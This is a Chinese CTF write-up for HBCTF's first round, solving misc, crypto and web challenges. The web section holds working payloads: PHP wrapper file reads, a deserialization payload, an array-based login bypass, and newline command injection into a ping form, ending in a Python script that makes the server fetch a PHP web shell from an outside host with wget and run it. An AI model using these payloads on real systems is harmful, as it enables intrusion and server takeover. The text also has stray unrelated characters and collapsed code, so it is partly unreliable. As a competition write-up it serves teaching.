HBCTF第一場WP
發(fā)表于2017年5月23日
Misc
納蘭比亞-簽到題
aGJjdGZ7cTFhbmRhMH0=
base64編碼第焰,解碼即可,如下圖
博茲瓦納-爆破砰左?其實(shí)有更好的辦法
原題下載:http://hbctf-1252906577.costj.myqcloud.com/misc/flag6.zip
方法一:
用好壓打開能看到crc32如圖:
題目又說了6位數(shù),寫腳本爆破之得到答案,腳本如下:
Python
importbinasciireal=0x9c4d9a5dforyinrange(100000,999999):ifreal==(binascii.crc32(str(y))&0xffffffff):print(y)
方法二:
有人會想到爆破壓縮包井联,其實(shí)這道題并沒有加密,只是修改了一位數(shù)而已呈野,用winhex或者HxD打開壓縮包低矮,修改如圖位置為00,保存后就可以直接解壓了被冒,關(guān)于原理可以百度“zip偽加密”
Crypto
南非-just do it
原題下載:http://hbctf-1252906577.costj.myqcloud.com/crypto/justdoit.cpp
直接上腳本
Python
# -*- coding:utf8 -*-deffoo():a=[0]*19key="a7shw9o10e63nfi19dk"k=[ord(i)foriinkey]e=[71,100,24,51,16,97,81,59,53,94,99,100,29,116,25,77,96,27,105]a[0]=ord('H')foriinrange(len(e)-1):k[i+1]^=k[i]^a[i%7]^a[i%9]a[i+1]=0x53^e[i]^k[i]print''.join([chr(i)foriina])passif__name__=='__main__':foo()print'ok'
WEB
莫桑比克-php是最好的語言
右擊查看源碼如下圖
PHP
you are not admin!";include($file);//class.php}else{echo"you are not admin ! ";}-->
方法一:先要加入user參數(shù)军掂,而且要滿足最后得到的user參數(shù)結(jié)果為 “the user is admin”,可以利用php偽協(xié)議:
http://123.206.66.106/index.php?user=php://input
同時利用Hackbar(一個火狐插件)發(fā)送post數(shù)據(jù)為
the?user?is?admin
如下圖
方法二:也可以利用data協(xié)議:
http://123.206.66.106/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=
昨悼。將the user is admin 用base64的方式傳入服務(wù)器
然后是看到helle admin! 到這個時候蝗锥,file參數(shù)可以包含class.php文件,pass參數(shù)還不知道率触,這時终议,同樣利用php偽協(xié)議來查看class.php源碼,payload如下:
http://123.206.66.106/index.php/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=php://filter/convert.base64-encode/resource=class.php
可以看到如圖所示base64編碼
解碼得到源碼如下:
PHP
file)){echofile_get_contents($this->file);}return"__toString was called!";}}?>
然后構(gòu)造出pass參數(shù)以獲取flag葱蝗,payload如下
http://123.206.66.106/index.php/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:10:"./f1a9.php";}
得到如圖界面:
查看源碼得到flag
贊比亞-npusec 網(wǎng)絡(luò)管理系統(tǒng)
首先發(fā)現(xiàn)有備份文件 ?index.php.bak ?下載下來,進(jìn)行審計
PHP
functiond_addslashes($array){foreach($arrayas$key=>$value){if(!is_array($value)){!get_magic_quotes_gpc()&&$value=addslashes($value);$array[$key]=$value;}else{$array[$key]=d_addslashes($array[$key]);}}return$array;}$_POST=d_addslashes($_POST);$_GET=d_addslashes($_GET);
發(fā)現(xiàn)有偽全局過濾穴张,注入就別想了.再繼續(xù)往下看,這里存在一個邏輯漏洞:
PHP
$username=isset($_POST['username'])?$_POST['username']:die();$password=isset($_POST['password'])?md5($_POST['password']):die();$sql="select password from users? where username='$username'";$result=$conn->query($sql);if(!$result){die('alert("用戶名或密碼錯誤!!")');}$row=$result->fetch_assoc();if($row[0]===$password){$_SESSION['username']=$username;$_SESSION['status']=1;header("Location:./ping.php");}else{die("alert('用戶名或密碼錯誤!!')");}
關(guān)鍵點(diǎn)在這里:
PHP
if(!$result){die('alert("用戶名或密碼錯誤!!")');}
即便是我們輸入一個不存在的用戶,這if也永遠(yuǎn)不會被執(zhí)行,因?yàn)?$db->query($sql) 返回的是一個mysql resource類型,始終不可能為空. 你可以用var_dump($result)試一下.
接下來就考察對php的熟悉程度了
PHP
$row[0]===$password
如果我們輸入了一個不存在的用戶名,那么$row[0] 是等于 NULL的,但是 md5($array) 也是返回 NULL,所以只需要讓password是一個數(shù)組,就可以繞過這里
所以最終用戶名密碼為:
username=1&password[]=1
繞過登陸之后,發(fā)現(xiàn)可以執(zhí)行ping命令,經(jīng)過測試發(fā)現(xiàn):
1. ip 必須是 x.x.x.x 的格式, x 代表 1-3個數(shù)字
2. ip長度必須大于等于7,小于等于15,否則都會返回ip格式錯誤
3. 可以使用這樣格式的ip: x.x.x.x[任意字符]
當(dāng) ip為ip=0.0.0.1||2時,返回 PING 0.0.0.12 (0.0.0.12): 56 data bytes
說明了|| 被替換為空了,同樣道理,你可以發(fā)現(xiàn)&,$,(),;`,都被替換為了空
最后發(fā)現(xiàn) %0a沒有被過濾:
測試:ip=0.0.0.1%0als -al,返回如下,說明ls已經(jīng)成功執(zhí)行.
PING?0.0.0.1?(0.0.0.1):?56?data?bytes
total?8
drwxr-xr-x?2?www-data?www-data?4096?Apr??7?04:54?.
drwxr-xr-x?5?www-data?www-data?4096?Apr??7?04:54?..
測試:ip=0.0.0.1%0apwd,返回了當(dāng)前的絕對路徑:
PING?0.0.0.1?(0.0.0.1):?56?data?bytes
/usr/share/nginx/html/sandBox/10.36.101.50
發(fā)現(xiàn)只有七個字符的可控輸入空間,就是7個字符的命令執(zhí)行啦,參考這篇文章http://wonderkun.cc/index.html/?p=524
下面給出python的payload吧:
Python
#!/usr/bin/python#-*- coding: utf-8 -*-importrequestsdefGetShell():url="http://vctf.ctftools.com/ping.php"header={"Cookie":"PHPSESSID=5rfro3re8253tv5f6fp5kd74l6","Content-Type":"application/x-www-form-urlencoded"}#fileNames = ["1.php","-O\ \\","cn\ \\","\ a.\\","wget\\"]# linux創(chuàng)建中間有空格的文件名两曼,需要轉(zhuǎn)義皂甘,所以有請求"cn\ \\"# 可以修改hosts文件,讓a.cn指向一個自己的服務(wù)器悼凑。# 在a.cn 的根目錄下創(chuàng)建index.html 偿枕,內(nèi)容是一個php shell'''
wget\\
\ wo\\
nd\\
er\\
ku\\
n.\\
cc\ \\
-O\ \\
1.php
'''fileNames=["1.php","-O\ \\\\","cc\ \\\\","n.\\\\","ku\\\\","er\\\\","nd\\\\","\ wo\\\\","wget\\\\"]ip="0.0.0.1%0a"forfileNameinfileNames:createFileIp=ip+">"+fileNameprintcreateFileIp? ? ? ? data="ip="+createFileIp? ? ? ? ? ? ? ? requests.post(url,data=data,headers=header)proxy={"http":"127.0.0.1:8080"}getShIp=ip+"ls%20-t>1"printgetShIp? ? data="ip="+getShIp? ? requests.post(url,data=data,headers=header,proxies=proxy)getShellIp=ip+"sh%201"printgetShellIp? ? data="ip="+getShellIp? ? requests.post(url,data=data,headers=header,proxies=proxy)shellUrl="http://vctf.ctftools.com/sandBox/10.25.159.132/1.php"#10.25.159.132為自己IPresponse=requests.get(shellUrl)ifresponse.status_code==200:print"[*] Get shell !"else:print"[*] fail!"if__name__=="__main__":GetShell()
拿到shell之后,連接本地的數(shù)據(jù)庫,獲取flag
HBCTF官方群:595176019
想要看WP可以關(guān)注ChaMd5公眾號:
PWN題WriteUp下載:點(diǎn)擊下載
在博客中遇到的問題可以聯(lián)系admin@ctftools.com
本文由Dr3@m原創(chuàng)發(fā)布,轉(zhuǎn)載請注明來自HBCTF BLOG户辫,轉(zhuǎn)載代碼(點(diǎn)擊全選渐夸,請按"Ctrl"+"C"復(fù)制):